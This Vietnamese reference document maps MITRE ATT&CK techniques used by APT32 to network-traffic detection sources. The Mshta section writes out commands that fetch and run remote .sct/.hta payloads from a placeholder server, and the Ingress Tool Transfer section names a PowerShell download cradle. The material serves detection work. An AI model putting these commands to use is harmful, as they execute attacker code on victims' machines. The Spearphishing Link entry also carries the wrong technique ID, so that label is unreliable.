**Techniques có datasource là network traffic**

**Network Traffic**

Dữ liệu được truyền qua mạng (ví dụ: Web, DNS, Mail, File,…) được tóm tắt (ví dụ: Netflow) hoặc được thu thập dưới dạng dữ liệu thô ở định dạng có thể phân tích (ví dụ: PCAP).

**Data Components**

**Network traffic: Network Connection Creation**

Xây dựng ban đầu của một kết nối mạng, chẳng hạn như việc ghi lại thông tin socket với địa chỉ IP và cổng nguồn/đích (ví dụ: Windows EID 5156, Sysmon EID 3, hoặc Zeek conn.log)

**Network Traffic: Network Traffic Content**

Dữ liệu lưu lượng truy cập mạng đã được log lại hiển thị cả giá trị tiêu đề và nội dung gói tin (ví dụ: PCAP)

**Network Traffic: Network Traffic Flow**

Dữ liệu gói mạng được tóm tắt, kèm theo các số liệu thống kê, như tiêu đề giao thức và khối lượng (ví dụ: Netflow hoặc Zeek http.log)

**A. Group APT32**

**T1071.001 - Application Layer Protocol: Web Protocols**

Kẻ tấn công có thể giao tiếp bằng cách sử dụng các giao thức tầng ứng dụng liên quan đến lưu lượng web để tránh bị phát hiện/loại bỏ bởi hệ thống lọc mạng thông qua việc trộn lẫn với lưu lượng hiện có. Các lệnh gửi tới hệ thống từ xa, và thường là kết quả của những lệnh đó, sẽ được nhúng trong lưu lượng giao thức giữa máy khách và máy chủ.

Các giao thức như HTTP/S và WebSocket được sử dụng để truyền tải lưu lượng web có thể rất phổ biến trong các môi trường. Gói tin HTTP/S có nhiều trường và tiêu đề mà dữ liệu có thể được giấu kín trong đó. Kẻ tấn công có thể lợi dụng những giao thức này để giao tiếp với các hệ thống dưới sự kiểm soát của họ trong mạng của nạn nhân, đồng thời giả vờ là lưu lượng thông thường, đáng mong đợi.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1071.003 - Application Layer Protocol: Mail Protocols**

Kẻ tấn công có thể sử dụng các giao thức tầng ứng dụng liên quan đến việc gửi thư điện tử để giao tiếp, nhằm tránh bị phát hiện hoặc bị lọc bởi hệ thống mạng thông qua việc trộn lẫn vào lưu lượng hiện có. Các lệnh tới hệ thống từ xa, và thường là kết quả của những lệnh đó, sẽ được nhúng trong lưu lượng giao thức giữa máy khách và máy chủ.

Các giao thức như SMTP/S, POP3/S và IMAP được sử dụng để truyền tải thư điện tử có thể rất phổ biến trong các môi trường. Các gói tin tạo ra từ các giao thức này có thể có nhiều trường và tiêu đề trong đó dữ liệu có thể được giấu kín. Dữ liệu cũng có thể được ẩn trong chính các email. Kẻ tấn công có thể lợi dụng có thể lợi dụng những giao thức này để giao tiếp với các hệ thống dưới sự kiểm soát của họ trong mạng của nạn nhân, đồng thời giả vờ là lưu lượng thông thường, đáng mong đợi.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1189 - Drive-by Compromise**

Kẻ tấn công có thể tiếp cận một hệ thống thông qua việc người dùng truy cập một trang web trong quá trình duyệt web thông thường. Với kỹ thuật này, trình duyệt web của người dùng thường là mục tiêu để khai thác, nhưng kẻ tấn công cũng có thể sử dụng các trang web đã bị xâm phạm cho các hành vi không liên quan đến khai thác, chẳng hạn như lấy Application Access Token.

Có nhiều cách để triển khai exploit code vào trình duyệt web (gọi là Drive-by Target), bao gồm:

* Một trang web hợp pháp bị xâm phạm khi kẻ tấn công tiêm một số dạng mã độc như JS, iFrames và XSS.
* Các tập lệnh script được cung cấp cho một trang web hợp pháp từ một bộ lưu trữ đám mấy có thể ghi công khai bị kẻ tấn công sửa đổi
* Quảng cáo độc hại được trả tiền và phân phối thông qua các nhà cung cấp quảng cáo hợp pháp (gọi là Malvertising)
* Các giao diện ứng dụng web tích hợp sẵn được tận dụng để chèn bất kỳ đối tượng nào khác có thể được sử dụng để hiển thị nội dung web hoặc chứa một đoạn mã thực thi trên trình duyệt của người truy cập (ví dụ: bài đăng trong diễn đàn, bình luận và các nội dung web khác có thể được người dùng kiểm soát).

Trang web được kẻ tấn công sử dụng là trang web được truy cập bởi một cộng đồng cụ thể, mục tiêu tấn công và xâm nhập vào một người dùng cụ thể hoặc một nhóm người. Loại chiến dịch nhắm mục tiêu này thường được gọi là chiến dịch xâm phạm web chiến lược hoặc watering hole attack.

Quy trình tấn công điển hình:

1. Người dùng truy cập vào trang web được sử dụng để lưu trữ nội dung do kẻ tấn công kiểm soát
2. Các scripts tự động được thực thi, thường là tìm kiếm các phiên bản của trình duyệt và các plugin để tìm phiên bản có khả năng bị tấn công

* Người dùng có thể cần tham gia vào quá trình này bằng cách bật tính năng scripting hoặc các thành phần trang web hoạt động và bỏ qua hộp thoại cảnh báo.

1. Khi tìm thấy một phiên bản dễ bị tấn công, code exploit sẽ được gửi tới trình duyệt
2. Nếu quá trình khai thác thành công, kẻ tấn công sẽ có khả năng thực thi mã trên hệ thống của người dùng, trừ khi có các biện pháp bảo vệ khác đã được triển khai.

* Trong một số trường hợp, việc truy cập lại trang web sau quá trình quét ban đầu là cần thiết trước khi mã khai thác được gửi đến.

Kỹ thuật này tập trung vào việc khai thác phần mềm trên một điểm cuối users khi truy cập vào một trang web. Điều này thường cho phép kẻ tấn công truy cập vào các hệ thống trên mạng nội bộ thay vì các hệ thống bên ngoài có thể nằm trong vùng DMZ.

Kẻ tấn công cũng có thể sử dụng các trang web đã bị xâm phạm để đưa người dùng đến một ứng dụng độc hại được thiết kế để Đánh cắp Application Access Tokens, chẳng hạn như OAuth tokens, nhằm truy cập vào các ứng dụng và thông tin được bảo vệ. Những ứng dụng độc hại này đã được phân phối thông qua cửa sổ pop-up trên các trang web chính thức.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

**T1585.001 - Establish Accounts: Social Media Accounts**

Kẻ tấn công có thể tạo và nuôi các tài khoản mạng xã hội có thể được sử dụng trong quá trình nhắm mục tiêu. Kẻ tấn công có thể tạo ra các tài khoản mạng xã hội để xây dựng một nhân vật giả để thực hiện các hoạt động tiếp theo. Quá trình phát triển nhân vật giả bao gồm việc phát triển thông tin công khai, sự hiện diện, lịch sử và các liên kết phù hợp.

Trong các hoạt động liên quan đến social engineering, việc sử dụng một nhân vật giả trên mạng xã hội có thể rất quan trọng. Những nhân vật giả này có thể là hư cấu hoặc giả mạo các cá nhân thực. Nhân vật giả có thể tồn tại trên một trang mạng xã hội duy nhất hoặc trên nhiều trang (ví dụ: Facebook, LinkedIn, Twitter, v.v.). Việc xây dựng một nhân vật giả trên mạng xã hội có thể đòi hỏi việc phát triển các tài liệu bổ sung để làm cho chúng trở nên thực tế. Điều này có thể bao gồm việc điền thông tin hồ sơ, phát triển mạng lưới xã hội hoặc sử dụng hình ảnh tương ứng.

Sau khi nhân vật giả được phát triển, kẻ tấn công có thể sử dụng nó để tạo các kết nối đến các mục tiêu quan tâm. Các kết nối này có thể trực tiếp hoặc có thể bao gồm việc cố gắng kết nối thông qua những người khác. Những tài khoản này có thể được tận dụng trong các giai đoạn khác của vòng đời của kẻ tấn công, chẳng hạn như trong giai đoạn Truy cập Ban đầu

Detection: Network Traffic:

+ Network Traffic Content

**T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol**

Kẻ tấn công có thể đánh cắp dữ liệu bằng cách tiến hành truyền dữ liệu ra khỏi hệ thống thông qua một giao thức mạng không được mã hóa ngoài kênh điều khiển và kiểm soát hiện tại. Dữ liệu cũng có thể được gửi đến một vị trí mạng thay thế khác so với máy chủ điều khiển và kiểm soát chính.

Kẻ tấn công có thể chọn cách che giấu dữ liệu này mà không sử dụng mã hóa, trong các giao thức mạng mà theo bản chất không được mã hóa (như HTTP, FTP, hoặc DNS). Điều này có thể bao gồm các thuật toán mã hóa/nén tùy chỉnh hoặc công khai có sẵn (như base64), cũng như nhúng dữ liệu trong các phần tử và trường của giao thức.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

+ Network Traffic Flow

**T1041 - Exfiltration Over C2 Channel**

Kẻ tấn công có thể đánh cắp dữ liệu bằng cách truyền dữ liệu ra khỏi hệ thống qua một kênh điều khiển và kiểm soát hiện có. Dữ liệu bị đánh cắp được mã hóa và truyền qua kênh liên lạc thông thường bằng cùng giao thức sử dụng cho việc truyền thông của kênh điều khiển và kiểm soát.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

+ Network Traffic Flow

**T1589.002 - Gather Victim Identity Information: Email Addresses**

Kẻ tấn công có thể thu thập địa chỉ email có thể được sử dụng trong quá trình nhắm mục tiêu. Ngay cả khi tổ chức có các hệ thống email nội bộ, có thể tồn tại cơ sở hạ tầng và địa chỉ email công khai dành cho nhân viên của tổ chức.

Kẻ tấn công có thể dễ dàng thu thập địa chỉ email, vì chúng có thể dễ dàng có sẵn và được tiết lộ thông qua các tập dữ liệu trực tuyến hoặc khác dễ tiếp cận (ví dụ: Mạng xã hội hoặc Tìm kiếm trên các trang web thuộc sở hữu của nạn nhân). Địa chỉ email cũng có thể được liệt kê thông qua các phương tiện hoạt động hơn (ví dụ: Active Scanning), chẳng hạn như thăm dò và phân tích các phản hồi từ dịch vụ xác thực có thể tiết lộ các tên người dùng hợp lệ trong một hệ thống.

Việc thu thập thông tin này có thể tiết lộ cơ hội cho các hình thức khám phá khác, thiết lập các tài nguyên hoạt động hoặc truy cập ban đầu

Detection: Network Traffic:

+ Network Traffic Content

**T1105 - Ingress Tool Transfer**

Kẻ tấn công có thể chuyển các công cụ hoặc tệp tin khác từ một hệ thống bên ngoài vào một môi trường bị xâm phạm. Các công cụ hoặc tệp tin có thể được sao chép từ hệ thống bị kiểm soát bởi kẻ tấn công bên ngoài vào mạng nạn nhân thông qua kênh điều khiển và kiểm soát hoặc qua các giao thức thay thế như ftp. Khi đã có mặt trong mạng, kẻ tấn công cũng có thể chuyển/lan truyền các công cụ giữa các thiết bị nạn nhân trong một môi trường bị xâm phạm.

Các tệp tin cũng có thể được chuyển giao bằng cách sử dụng các Dịch vụ Web khác nhau cũng như các công cụ tự nhiên hoặc hiện có trên hệ thống nạn nhân.

Trên Windows, kẻ tấn công có thể sử dụng các tiện ích khác nhau để tải xuống các công cụ, chẳng hạn như copy, finger, certutil, và các lệnh PowerShell như IEX(New-Object Net.WebClient).downloadString() và Invoke-WebRequest. Trên Linux và macOS, cũng tồn tại nhiều tiện ích khác nhau như curl, scp, sftp, tftp, rsync, finger, và wget.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

+ Network Traffic Flow

**T1570 - Lateral Tool Transfer**

Kẻ tấn công có thể chuyển giao các công cụ hoặc tệp tin khác giữa các hệ thống trong một môi trường bị xâm phạm. Sau khi được đưa vào môi trường nạn nhân các tệp tin sau đó có thể được sao chép từ một hệ thống sang hệ thống khác để chuẩn bị các công cụ của kẻ tấn công hoặc các tệp tin khác trong suốt quá trình thực hiện một hoạt động.

Kẻ tấn công có thể sao chép tệp tin giữa các hệ thống nạn nhân nội bộ để hỗ trợ di chuyển ngang bằng cách sử dụng các giao thức chia sẻ tệp tin tích hợp như chia sẻ tệp tin qua SMB/Windows Admin Shares đến các mục chia sẻ mạng kết nối hoặc thông qua các kết nối xác thực qua Remote Desktop Protocol.

Các file có thể được chuyển giao bằng cách sử dụng các công cụ có sẵn trên hệ thống nạn nhân chẳng hạn như scp, rsync, curl, sftp và ftp

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1046 - Network Service Discovery**

Kẻ tấn công có thể cố gắng lấy danh sách các dịch vụ đang chạy trên các máy chủ từ xa và các thiết bị hạ tầng mạng cục bộ, bao gồm cả những dịch vụ có thể bị tổn thương bởi các lỗ hổng phần mềm từ xa. Các phương pháp thông thường để thu thập thông tin này bao gồm quét cổng và/hoặc quét lỗ hổng sử dụng các công cụ được đưa vào một hệ thống.

Trong môi trường đám mây, kẻ tấn công có thể cố gắng khám phá các dịch vụ đang chạy trên các máy chủ đám mây khác. Ngoài ra, nếu môi trường đám mây được kết nối với môi trường trong nơi làm việc, kẻ tấn công cũng có thể xác định các dịch vụ đang chạy trên các hệ thống không phải đám mây.

Trong môi trường macOS, kẻ tấn công có thể sử dụng ứng dụng Bonjour tích hợp để khám phá các dịch vụ đang chạy trên các máy chủ macOS khác trong mạng. Tiến trình Bonjour mDNSResponder tự động đăng ký và quảng bá các dịch vụ đã đăng ký trên mạng.

Detection: Network Traffic:

+ Network Traffic Flow

**T1571 - Non-Standard Port**

Kẻ tấn công có thể sử dụng một cặp giao thức và cổng thông thường không liên quan đến nhau. Ví dụ, HTTPS trên cổng 8088 hoặc cổng 587 thay vì cổng 443 truyền thống. Kẻ tấn công có thể thay đổi cổng tiêu chuẩn được sử dụng bởi một giao thức nhằm tránh bộ lọc hoặc làm rối phân tích/diễn giải dữ liệu mạng.

Kẻ tấn công cũng có thể thay đổi các hệ thống của nạn nhân để lạm dụng các cổng không tiêu chuẩn. Ví dụ, họ có thể sử dụng các khóa Registry và các cài đặt khác để thay đổi cặp giao thức và cổng.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1566.001 - Phishing: Spearphishing Attachment**

Kẻ tấn công có thể gửi email spearphishing với một tệp đính kèm độc hại nhằm mục đích xâm nhập vào hệ thống của nạn nhân. Spearphishing attachment là một biến thể cụ thể của spearphishing. Spearphishing attachment khác biệt so với các hình thức spearphishing khác bởi nó sử dụng phần mềm độc hại được đính kèm trong email. Trong kịch bản này, kẻ tấn công đính kèm một tệp vào email spearphishing và thường dựa vào việc người dùng thực thi tệp đính kèm để thực hiện công cụ độc hại.

Có nhiều tùy chọn cho tệp đính kèm như tài liệu Microsoft Office, các tệp thực thi, PDF hoặc các tệp được nén. Khi mở tệp đính kèm (và có thể bỏ qua các biện pháp bảo vệ), công cụ tấn công của kẻ tấn công sẽ khai thác một lỗ hổng hoặc thực thi trực tiếp trên hệ thống của người dùng. Văn bản trong email spearphishing thường cố gắng đưa ra lý do hợp lý vì sao tệp nên được mở và có thể giải thích cách vượt qua các biện pháp bảo vệ của hệ thống để làm điều đó. Email cũng có thể chứa hướng dẫn về cách giải mã một tệp đính kèm, chẳng hạn như mật khẩu tệp nén, để né tránh các biện pháp phòng vệ của email. Kẻ tấn công thường thay đổi phần mở rộng và biểu tượng của tệp để các tệp thực thi đính kèm trông giống như tệp tài liệu hoặc các tệp khai thác một ứng dụng trông giống như tệp của ứng dụng khác.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1566.001 - Phishing: Spearphishing Link**

Kẻ tấn công có thể gửi email spearphishing với một liên kết độc hại nhằm mục đích xâm nhập vào hệ thống của nạn nhân. Nó khác với các hình thức spearphishing khác bởi nó sử dụng liên kết để tải xuống phần mềm độc hại được chứa trong email, thay vì đính kèm các tệp độc hại vào email chính để né tránh các biện pháp phòng vệ có thể kiểm tra các tệp đính kèm email.

Trong trường hợp này, các email độc hại chứa các liên kết. Thông thường, các liên kết sẽ được kèm theo văn bản kỹ thuật xã hội và yêu cầu người dùng tích cực nhấp chuột hoặc sao chép và dán URL vào trình duyệt, tận dụng Quá trình Thực thi của người dùng. Trang web được truy cập có thể tấn công trình duyệt web bằng một lỗ hổng, hoặc người dùng sẽ được yêu cầu tải xuống các ứng dụng, tài liệu, tệp nén zip hoặc thậm chí các tệp thực thi tùy thuộc vào lời biện pháp cho email ban đầu. Kẻ tấn công cũng có thể bao gồm các liên kết được thiết kế để tương tác trực tiếp với chương trình đọc email, bao gồm cả các hình ảnh nhúng được thiết kế để khai thác trực tiếp hệ thống cuối cùng. Ngoài ra, kẻ tấn công có thể sử dụng các liên kết dường như vô hại nhưng lạm dụng các ký tự đặc biệt để mô phỏng các trang web chính thức (được biết đến như cuộc tấn công "IDN homograph").

Kẻ tấn công cũng có thể sử dụng các liên kết để thực hiện consent phishing, thông thường với các request URL Oauth 2.0 khi được người dùng chấp nhận sẽ cung cấp quyền truy cập cho các ứng dụng độc hại cho phép ăn cắp Application Access Tokens. Cho phép kẻ tân công thực hiện nhiều hành động khác nhau thông qua gọi API.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1598.003 - Phishing for Information: Spearphishing Link**

Kẻ tấn công có thể gửi các tin nhắn spearphishing với một liên kết độc hại để lừa đảo thu thập thông tin nhạy cảm có thể được sử dụng trong quá trình tấn công mục tiêu. Spearphishing để thu thập thông tin là một nỗ lực để lừa đảo mục tiêu để tiết lộ thông tin, thường là thông tin đăng nhập hoặc thông tin có tính hành động. Spearphishing để thu thập thông tin thường liên quan đến các kỹ thuật social engineering như giả dạnh một nguồn tin có lý do để thu thập thông tin hoặc gửi nhiều tin nhắn khẩn cấp.

Trong tình huống này, các email độc hại chứa các liên kết thường đi kèm với văn bản kỹ thuật xã hội nhằm thuyết phục người dùng nhấp chuột hoặc sao chép và dán một URL vào trình duyệt. Trang web được cung cấp có thể là một bản sao của một trang web hợp pháp hoặc có thể rất giống với một trang web hợp pháp về giao diện và có một URL chứa các yếu tố từ trang web thật.

Kẻ tấn công cũng có thể liên kết đến "web bug" hoặc "web beacon" trong các tin nhắn lừa đảo để xác nhận việc nhận được một email, đồng thời có thể thu thập thông tin về nạn nhân như địa chỉ IP và tạo hồ sơ theo dõi.

Kẻ tấn công cũng có thể giả mạo một trang web hoàn chỉnh bằng cách sử dụng kỹ thuật được gọi là "browser-in-the-browser" (BitB) attack. Bằng cách tạo ra một cửa sổ popup giả mạo với thanh địa chỉ dựa trên HTML mà có vẻ như chứa một URL hợp lệ (như một cổng xác thực), chúng có thể yêu cầu người dùng nhập thông tin đăng nhập mà không cần thông qua các phương pháp xác minh URL thông thường.

Từ trang web giả mạo, thông tin được thu thập thông qua các biểu mẫu trên web và gửi cho kẻ tấn công. Kẻ tấn công cũng có thể sử dụng thông tin từ các nỗ lực khám phá trước đó (ví dụ: Tìm kiếm trên các trang web/miền mở hoặc tìm kiếm trên các trang web sở hữu bởi nạn nhân) để tạo ra các mối lừa hấp dẫn và đáng tin cậy.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1021.002 - Remote Services: SMB/Windows Admin Shares**

Kẻ tấn công có thể sử dụng tài khoản hợp lệ để tương tác với một mạng chia sẻ từ xa bằng cách sử dụng giao thức Server Message Block (SMB). Kẻ tấn công sau đó có thể thực hiện các hành động dưới tư cách người dùng đã đăng nhập.

SMB là một giao thức chia sẻ tệp, máy in và cổng nối tiếp cho các máy tính Windows trên cùng mạng hoặc miền. Kẻ tấn công có thể sử dụng SMB để tương tác với các mạng chia sẻ tệp, cho phép di chuyển qua lại trên mạng. Trên các hệ điều hành Linux và macOS, SMB thường được triển khai thông qua Samba.

Hệ thống Windows có các mạng chia sẻ ẩn được truy cập chỉ bởi các quản trị viên và cung cấp khả năng sao chép tệp từ xa và các chức năng quản trị khác. Các mạng chia sẻ ví dụ bao gồm C$, ADMIN$ và IPC$. Kẻ tấn công có thể sử dụng kỹ thuật này kết hợp với Valid Accounts cấp quản trị để truy cập từ xa vào hệ thống qua SMB tương tác với các hệ thống sử dụng các cuộc gọi thủ tục từ xa (RPCs) chuyển tệp và chạy các tệp đã chuyển thông qua thực thi từ xa. Kẻ tấn cũng có thể sử dụng băm NTLM để truy cập các mạng chia sẻ của quản trị viên trên các hệ thống với Pass the Hash và một số cấu hình và mức bản vá nhất định

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Flow

**T1018 - Remote System Discovery**

Kẻ tấn công có thể cố gắng liệt kê các hệ thống khác thông qua địa chỉ IP, tên máy chủ hoặc các định danh logic khác trên mạng, có thể được sử dụng cho Lateral Movement từ hệ thống hiện tại. Chức năng này có thể tồn tại trong các công cụ truy cập từ xa để kích hoạt việc này, nhưng cũng có thể sử dụng các tiện ích có sẵn trên hệ điều hành như Ping hoặc lệnh net view sử dụng Net.

Kẻ tấn công cũng có thể phân tích dữ liệu từ các tệp tin cục bộ trên máy chủ (ví dụ: C:\Windows\System32\Drivers\etc\hosts hoặc /etc/hosts) hoặc sử dụng các phương pháp thụ động (như các mục nhập bộ nhớ cache Arp cục bộ) để phát hiện sự hiện diện của các hệ thống từ xa trong một môi trường.

Kẻ tấn công cũng có thể nhắm mục tiêu vào việc khám phá cơ sở hạ tầng mạng và sử dụng các lệnh CLI (Command Line Interface) trên các thiết bị mạng để thu thập thông tin chi tiết về các hệ thống trong mạng

Detection: Network Traffic:

+ Network Connection Creation

**T1505.003 - Server Software Component: Web Shell**

Kẻ tấn công có thể cài đặt các web shell trên máy chủ web để thiết lập truy cập lâu dài vào hệ thống. Một web shell là một đoạn mã script được đặt trên một máy chủ web có khả năng truy cập công khai, cho phép kẻ tấn công sử dụng máy chủ web đó như một cổng vào mạng. Một web shell có thể cung cấp một tập hợp các chức năng để thực thi hoặc một giao diện dòng lệnh trên hệ thống chứa máy chủ web.

Web shell cũng có thể có một chương trình client interface được sử dụng để trò chuyện với máy chủ web

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1218.005 - System Binary Proxy Execution: Mshta**

Kẻ tấn công có thể lợi dụng mshta.exe để thực thi các tệp .hta độc hại và các đoạn mã Javascript hoặc VBScript thông qua một tiện ích Windows đáng tin cậy.

Mshta.exe là một tiện ích thực thi các tệp ứng dụng HTML (HTA) của Microsoft. HTA là các ứng dụng độc lập thực thi bằng cách sử dụng cùng các mô hình và công nghệ của Internet Explorer, nhưng nằm ngoài trình duyệt.

Có thể thực thi các tệp bằng cách sử dụng mshta.exe thông qua một tập lệnh trong tệp:

mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

Ngoài ra, cũng có thể thực thi trực tiếp từ các URL: mshta http[:]//webserver/payload[.]hta

Mshta.exe có thể được sử dụng để bypass các giải pháp kiểm soát ứng dụng không tính đến việc sử dụng tiềm năng của nó. Vì mshta.exe thực thi bên ngoài ngữ cảnh bảo mật của Internet Explorer, nó cũng bypass các cài đặt bảo mật của trình duyệt.

Detection: Network Traffic:

+ Network Connection Creation

**T1218.010 - System Binary Proxy Execution: Regsvr32**

Kẻ tấn công có thể lợi dụng Regsvr32.exe để thực thi mã độc. Regsvr32.exe là một chương trình dòng lệnh được sử dụng để đăng ký và hủy đăng ký các thành phần liên kết và nhúng đối tượng, bao gồm các thư viện động (DLL), trên hệ thống Windows. Tệp nhị phân Regsvr32.exe cũng có thể được ký bởi Microsoft.

Việc lợi dụng Regsvr32.exe có thể tránh kích hoạt các công cụ bảo mật không giám sát việc thực thi và các mô-đun được tải bởi quy trình regsvr32.exe do sự cho phép hoặc sự nhận dạng sai từ Windows sử dụng regsvr32.exe cho các hoạt động bình thường. Regsvr32.exe cũng có thể được sử dụng để vượt qua kiểm soát ứng dụng cụ thể bằng cách sử dụng chức năng tải các kịch bản COM để thực thi các DLL dưới quyền người dùng. Vì Regsvr32.exe nhận biết mạng và proxy, các kịch bản có thể được tải bằng cách truyền một địa chỉ tài nguyên thống nhất (URL) tới một tệp trên máy chủ Web bên ngoài như một đối số trong quá trình gọi. Phương pháp này không thay đổi Registry vì đối tượng COM không được đăng ký thực sự, chỉ được thực thi. Phương pháp biến thể này thường được gọi là "Squiblydoo" và đã được sử dụng trong các chiến dịch nhắm vào chính phủ.

Regsvr32.exe cũng có thể được sử dụng để đăng ký một Đối tượng COM được sử dụng để thiết lập tính bền vững thông qua việc chiếm đoạt Component Object Model.

Detection: Network Traffic:

+ Network Connection Creation

**T1033 - System Owner/User Discovery**

Kẻ tấn công có thể cố gắng xác định người dùng chính, người dùng hiện đang đăng nhập, tập hợp người dùng thường sử dụng hệ thống hoặc xác định liệu một người dùng có đang sử dụng hệ thống hay không. Họ có thể thực hiện điều này bằng cách thu thập tên người dùng hoặc sử dụng các kỹ thuật OS Credential Dumping. Thông tin này có thể được thu thập theo nhiều cách khác nhau bằng cách sử dụng các kỹ thuật Discovery khác, vì chi tiết người dùng và tên người dùng phổ biến trong toàn bộ hệ thống và bao gồm sở hữu quyền quá trình đang chạy, sở hữu tập tin/thư mục, thông tin phiên và nhật ký hệ thống. Kẻ tấn công có thể sử dụng thông tin từ System Owner/User Discovery trong quá trình khám phá tự động để xác định hành vi tiếp theo, bao gồm việc xâm nhập đầy đủ vào mục tiêu và/hoặc thực hiện các hành động cụ thể.

Có nhiều công cụ và lệnh khác nhau có thể thu thập thông tin này, bao gồm lệnh whoami. Trên macOS và Linux, người dùng hiện đang đăng nhập có thể được xác định bằng cách sử dụng lệnh w và who. Trên macOS, lệnh dscl . list /Users | grep -v '\_' cũng có thể được sử dụng để liệt kê tài khoản người dùng. Biến môi trường như %USERNAME% và $USER cũng có thể được sử dụng để truy cập thông tin này.

Trên các thiết bị mạng, các lệnh Network Device CLI như show users và show ssh có thể được sử dụng để hiển thị các người dùng đang đăng nhập vào thiết bị.

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1204.001 - User Execution: Malicious Link**

Kẻ tấn công có thể phụ thuộc vào người dùng nhấp vào một liên kết độc hại để thực thi mã. Người dùng có thể bị mắc kẹt trong kỹ thuật social engineering để thúc đẩy họ nhấp vào một liên kết sẽ dẫn đến việc thực thi mã. Hành động này của người dùng thường được quan sát là hành vi tiếp theo sau từ Spearphishing Link. Nhấp vào một liên kết cũng có thể dẫn đến các kỹ thuật thực thi khác như khai thác lỗ hổng trình duyệt hoặc ứng dụng thông qua Exploitation for Client Execution. Liên kết cũng có thể dẫn người dùng tải xuống các tệp tin đòi hỏi việc thực thi thông qua Malicious File.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

**T1102.001 - Web Service: Dead Drop Resolver**

Kẻ tấn công có thể sử dụng một dịch vụ Web bên ngoài hợp pháp hiện có để lưu trữ thông tin trỏ đến cơ sở hạ tầng điều khiển và điều phối (C2) bổ sung. Kẻ tấn công có thể đăng nội dung, được gọi là "dead drop resolver," trên các dịch vụ Web với tên miền hoặc địa chỉ IP được nhúng (và thường được mã hóa/ẩn dạng). Khi bị lây nhiễm, nạn nhân sẽ liên hệ và bị chuyển hướng bởi những resolver này.

Các trang web phổ biến và mạng xã hội hoạt động như một cơ chế để điều khiển và điều phối (C2) có thể mang lại một mức độ che giấu đáng kể do khả năng rằng các máy chủ trong mạng đã giao tiếp với chúng trước khi bị xâm nhập. Sử dụng các dịch vụ phổ biến như Google hoặc Twitter giúp kẻ tấn công dễ dàng ẩn mình trong tiếng ồn thông thường. Các nhà cung cấp dịch vụ web thông thường sử dụng mã hóa SSL/TLS, mang lại một mức độ bảo mật bổ sung cho kẻ tấn công.

Sử dụng một dead drop resolver cũng có thể bảo vệ cơ sở hạ tầng C2 phía sau khỏi việc phát hiện thông qua phân tích các tệp malware, đồng thời cho phép duy trì khả năng hoạt động (vì cơ sở hạ tầng này có thể thay đổi động).

Detection: Network Traffic:

+ Network Traffic Content

+ Network Traffic Flow

**T1102.002 - Web Service: Bidirectional Communication**

Kẻ tấn công có thể sử dụng một dịch vụ Web ngoài hợp pháp hiện có như một phương tiện để gửi lệnh và nhận kết quả từ hệ thống bị xâm nhập thông qua kênh dịch vụ Web. Các hệ thống bị xâm nhập có thể sử dụng các trang web phổ biến và mạng xã hội để lưu trữ các hướng dẫn điều khiển và điều phối (C2). Những hệ thống bị nhiễm có thể gửi kết quả từ các lệnh đó trở lại thông qua kênh dịch vụ Web đó. Dữ liệu trả về có thể xảy ra theo nhiều cách khác nhau, phụ thuộc vào dịch vụ Web được sử dụng. Ví dụ, dữ liệu trả về có thể là việc hệ thống bị xâm nhập đăng một bình luận trên diễn đàn, gửi yêu cầu pull đến dự án phát triển, cập nhật tài liệu được lưu trữ trên một dịch vụ Web hoặc thông qua việc gửi một Tweet.

Các trang web phổ biến và mạng xã hội được sử dụng như một cơ chế cho việc điều khiển và điều phối (C2) có thể mang lại một lượng lớn sự che giấu do khả năng các máy chủ trong mạng đã giao tiếp với chúng trước khi bị xâm nhập. Sử dụng các dịch vụ thông thường như Google hay Twitter giúp kẻ tấn công dễ dàng ẩn nấp trong lưu lượng thông tin thông thường. Nhà cung cấp dịch vụ Web thường sử dụng mã hóa SSL/TLS, tạo thêm một lớp bảo mật cho kẻ tấn công.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

+ Network Traffic Flow

**T1102.003 - Web Service: Web Service: One-Way Communication**

Kẻ tấn công có thể sử dụng một dịch vụ Web bên ngoài hiện có và hợp pháp như một phương tiện để gửi lệnh tới một hệ thống bị xâm nhập mà không nhận được kết quả trả về qua kênh dịch vụ Web đó. Các hệ thống bị xâm nhập có thể tận dụng các trang web phổ biến và mạng xã hội để lưu trữ các hướng dẫn điều khiển và điều phối (C2). Các hệ thống bị nhiễm có thể chọn gửi kết quả từ các lệnh đó qua một kênh C2 khác, bao gồm đến một dịch vụ Web khác riêng biệt. Hoặc, các hệ thống bị xâm nhập có thể không trả về kết quả nào trong trường hợp kẻ tấn công muốn gửi lệnh tới hệ thống mà không muốn nhận phản hồi.

Detection: Network Traffic:

+ Network Connection Creation

+ Network Traffic Content

+ Network Traffic Flow

**T1047 - Windows Management Instrumentation**

Kẻ tấn công có thể lợi dụng Windows Management Instrumentation (WMI) để thực thi các lệnh và tải mã độc hại. WMI là một tính năng quản lý cung cấp môi trường thống nhất để truy cập các thành phần hệ thống Windows. Dịch vụ WMI cho phép truy cập cả từ máy cục bộ và từ xa, được thuận tiện bởi các Dịch vụ từ xa như Distributed Component Object Model (DCOM) và Windows Remote Management (WinRM). WMI từ xa qua DCOM hoạt động sử dụng cổng 135, trong khi WMI qua WinRM hoạt động qua cổng 5985 khi sử dụng HTTP và 5986 cho HTTPS.

